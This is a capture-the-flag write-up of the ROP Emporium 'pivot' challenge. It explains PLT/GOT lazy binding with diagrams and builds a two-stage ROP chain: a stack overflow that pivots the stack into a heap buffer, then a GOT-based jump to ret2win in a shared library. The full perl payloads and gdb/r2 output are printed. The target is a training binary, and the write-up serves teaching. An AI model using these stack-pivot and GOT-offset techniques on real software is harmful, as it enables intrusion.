This challenge uses a different pwnme function to other ROP Emporium challenges. First main() will malloc a 0x1000000 byte buffer and then send the address to pwnme().

$ r2 ./pivot -qc "aa ; pdf @sym.main"
/ (fcn) main 165
|   int main (int argc, char **argv, char **envp);
...
|           0x004009ee      mov edi, 0x1000000
|           0x004009f3      call sym.imp.malloc
...
|           0x00400a0e      mov rdi, rax
|           0x00400a11      call sym.pwnme

Then pwnme(), reads 0x100 bytes into the malloced buffer and 0x40 into a stack buffer.

$ r2 ./pivot -qc "aa ; pdf @sym.pwnme"
/ (fcn) sym.pwnme 167
|   sym.pwnme (int32_t arg1);
...
|           0x00400a3f      sub rsp, 0x30
|           0x00400a43      mov qword [rbp-0x28], rdi
|           0x00400a47      lea rax, [rbp-0x20]
...
|           0x00400a96      mov rdx, qword [obj.stdin]
|
|           0x00400a9d      mov rax, qword [rbp-0x28]
|           0x00400aa1      mov esi, 0x100
|           0x00400aa6      mov rdi, rax
|           0x00400aa9      call sym.imp.fgets
...
|           0x00400ac7      mov rdx, qword [obj.stdin]
|           0x00400ace      lea rax, [rbp-0x20]
|           0x00400ad2      mov esi, 0x40
|           0x00400ad7      mov rdi, rax
|           0x00400ada      call sym.imp.fgets

The offsets for the stack buffer overflow are the same as previous challenges.

$ perl -e 'print("\n" . ("\x00" x 0x28) . "fedcba")' |
  gdb ./pivot --batch -ex run
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bf1f10
Send your second chain now and it will land there
> Now kindly send your stack smash
>
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()

As stated in the output, the goal this time is to call ret2win() from libpivot.so so there is no usefulFunction() this time but there is usefulGadgets.

$ r2 ./pivot -qc "is" | grep useful
076 0x00000b00 0x00400b00 GLOBAL NOTYPE    0 usefulGadgets

$ r2 ./pivot -qc "pd 8 @ 0x00400b00"
            ;-- usefulGadgets:
            0x00400b00      58             pop rax
            0x00400b01      c3             ret
            0x00400b02      4894           xchg rax, rsp
            0x00400b04      c3             ret
            0x00400b05      488b00         mov rax, qword [rax]
            0x00400b08      c3             ret
            0x00400b09      4801e8         add rax, rbp
            0x00400b0c      c3             ret

After the overflow we only have 24 bytes of payload left (3 words). So the first thing we need to do is put the rest of the exploit in the malloced buffer and modify the stack pointer to point there. This is called a stack pivot.

In usefulGadgets, the xchg rax, rsp one is exactly what we need but we also need the address of the malloced buffer in rax first.

Reading pwnme() again shows that the buffer address (in rdi) is copied to a local variable on the stack

|           0x00400a43      mov qword [rbp-0x28], rdi

and when we smash the stack, rax contains the address of another stack variable

|           0x00400ace      lea rax, [rbp-0x20]

So the pop rax gadget is a red herring, all we need to do is add -8 to what is already in rax to get the address of the local variable pointing to the malloc buffer.

The add rax, rbp is a clue, because before the overflow overwrites the return address on the stack, it overwrites the stored rbp which is poped into the rbp register on ret.

+----------------------------------+
|              Stack               |
+----------------------------------+
| saved rip                        |
+----------------------------------+
| saved rbp             (rbp)      |
+----------------------------------+
|               ...                |
|               ...                |
|               ...                |
| stack buffer          (rbp-0x20) |
+----------------------------------+
| malloc buffer pointer (rbp-0x28) |
+----------------------------------+

The first stage rop chain just to do the stack pivot looks like this:

"\n"               # skip the `malloc` buffer input for now
"\x00" x 0x20      # junk
0xfffffffffffffff8 # -8 => rbp
0x0000000000400b09 # add rax, rbp
0x0000000000400b05 # mov rax, qword [rax]
0x0000000000400b02 # xchg rax, rsp

$ perl -e 'print("\n" .
                ("\x00" x 0x20) .
                 "\xf8\xff\xff\xff\xff\xff\xff\xff" .
                 "\x09\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x05\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x02\x0b\x40\x00\x00\x00\x00\x00")' |
  gdb ./pivot --batch -ex run -ex "info registers" |
  grep -e bestow -e rsp
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bf1f10
rsp            0x7ffff7bf1f18   0x7ffff7bf1f18

The reason the GDB output is 8 bytes off is because the CPU has poped the first word into rip before segfaulting, therefor incrementing rsp by 8.

Unfortunately for us the ret2win() function is not imported in the ELF.

$ r2 ./pivot -qc "ii"
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004007f0  GLOBAL    FUNC free
   2 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   3 0x00400800  GLOBAL    FUNC puts
   4 0x00400810  GLOBAL    FUNC printf
   5 0x00400820  GLOBAL    FUNC memset
   6 0x00400830  GLOBAL    FUNC __libc_start_main
   7 0x00400840  GLOBAL    FUNC fgets
   8 0x00000000    WEAK  NOTYPE __gmon_start__
   9 0x00400850  GLOBAL    FUNC foothold_function
  10 0x00400860  GLOBAL    FUNC malloc
  11 0x00400870  GLOBAL    FUNC setvbuf
  12 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  13 0x00400880  GLOBAL    FUNC exit
  14 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable

That means no legitimate code in the application calls it. Most people gloss over this part and jump straight to the obvious solution without understanding why it works. But the thing about junk hacking is that getting to a solution is not the point. It’s about learning something.

When an ELF binary is launched by the OS, it is copied from disk into memory. If the ELF file is dynamically linked against shared libraries then the libraries also need to be copied into memory. But the important property of shared libraries is that they can be updated independently of the applications which use them so the address of functions inside the library are not known to the application at compile time.

So when the ELF file is executed, the loader (ld.so) could create a big table with the address of every function in the shared libraries (called BIND_NOW mode). However it is slow and the application probably doesn’t call all them functions every time it executes anyway. So the default behaviour is for the loader to fill that table with links to a function in the loader itself which will figure out where the desired library function is and cache the address so next time the function is called the CPU goes straight to the function instead of ld.so again.

The way this is implemented is with two tables the Procedure Linkage Table (.plt) and Global Offset Table .plt (.got.plt).

The simple way to think of it is .plt is code and .got.plt is just a list of addresses (data). We can see this reflected in the permissions:

$ r2 ./pivot -qc "iS" | grep -e ' .plt$' -e ' .got.plt'
12 0x000007e0   176 0x004007e0   176 -r-x .plt
24 0x00002000   104 0x00602000   104 -rw- .got.plt

So calling a library function from the application actually executes the .plt entry for that function and the .plt code will jmp to a corresponding address in the .got.plt table. In the beginning, that .got.plt address will point somewhere into ld.so. The ld.so code will figure out where the library function actually is and write that address to the .got.plt. So the next time the .plt code jmps to the address in the .got.plt, it will go straight to the library function instead of ld.so again.

When solving this challenge I drew diagrams to help myself understand it:

---------------[ 1st call to foothold_function .plt (0x00400850 ]---------------

+-----------------------+    qword [0x00602048]     +-------------------------+
|   0x00400850 (.plt)   |-------------------------->|  0x00602048 (.got.plt)  |
| imp.foothold_function |<--------------------------| reloc.foothold_function |
| jmp qword [0x602048]  |          0x00400856       |    (qword)0x00400856    |
+-----------------------+                           +-------------------------+
           | jmp
           v
  +-------------------+
  | 0x00400856 (.plt) |
  |        ...        |
  +-------------------+
           | jmp
           v
       +---------+  mov qword ... 0x7fd25eed7970   +-------------------------+
       | (ld.so) |-------------------------------->|  0x00602048 (.got.plt)  |
       |   ...   |                                 | reloc.foothold_function |
       +---------+                                 |      0x7fd25eed7970     |
           | jmp                                   +-------------------------+
           v
+------------------------------+
| 0x7fd25eed7970 (libpivot.so) |
|      foothold_function       |
|             ...              |
+------------------------------+
-------------------------------------[ end ]------------------------------------

--------------[ 1+Nth call to foothold_function .plt (0x00400850 ]--------------

+-----------------------+    qword [0x00602048]     +-------------------------+
|   0x00400850 (.plt)   |-------------------------->|  0x00602048 (.got.plt)  |
| imp.foothold_function |<--------------------------| reloc.foothold_function |
| jmp qword [0x602048]  |        0x7fd25eed7970     |      0x7fd25eed7970     |
+-----------------------+                           +-------------------------+
           | jmp
           v
+------------------------------+
| 0x7fd25eed7970 (libpivot.so) |
|      foothold_function       |
|             ...              |
+------------------------------+
-------------------------------------[ end ]------------------------------------

Now that we understand how shared library functions are called, the obvious solution is to

  • call the foothold_function to get its address into .got.plt
  • measure difference between foothold_function address and ret2win address
  • add difference to foothold_function address from .got.plt
  • jmp to new address

Here is how we can calculate the offset of the two library functions

$ nm libpivot.so | grep -e foothold_function -e ret2win
0000000000000970 T foothold_function
0000000000000abe T ret2win
$ printf 0x%016x $((0xabe - 0x970))
0x000000000000014e

And this is what our second rop chain looks like

0x0000000000400850 ; foothold_function
0x0000000000400948 ; pop rbp
0x000000000000014e ; 0x14e => rbp
0x0000000000400b00 ; pop rax
0x0000000000602048 ; .got.plt[foothold_function] => rax
0x0000000000400b05 ; mov rax, qword [rax] (dereference pointer)
0x0000000000400b09 ; add rax, rbp
0x00000000004008f5 ; jmp rax

And this is how we can execute it in practice:

$ perl -e 'print("\x50\x08\x40\x00\x00\x00\x00\x00" .
                 "\x48\x09\x40\x00\x00\x00\x00\x00" .
                 "\x4e\x01\x00\x00\x00\x00\x00\x00" .
                 "\x00\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x48\x20\x60\x00\x00\x00\x00\x00" .
                 "\x05\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x09\x0b\x40\x00\x00\x00\x00\x00" .
                 "\xf5\x08\x40\x00\x00\x00\x00\x00" .
                 "\n" .
                 ("\x00" x 0x20) .
                 "\xf8\xff\xff\xff\xff\xff\xff\xff" .
                 "\x09\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x05\x0b\x40\x00\x00\x00\x00\x00" .
                 "\x02\x0b\x40\x00\x00\x00\x00\x00")' |
  LD_LIBRARY_PATH=. ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f09d6dd3f10
Send your second chain now and it will land there
> Now kindly send your stack smash
> foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}

(The flag is all the way to the right because there is no newline printed before)